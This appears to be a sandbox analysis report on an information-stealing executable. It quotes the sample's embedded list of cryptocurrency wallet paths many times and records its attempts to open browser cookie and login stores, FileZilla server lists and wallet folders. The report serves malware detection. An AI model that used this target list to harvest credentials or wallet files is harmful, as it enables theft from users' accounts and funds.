Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json'
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.l

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
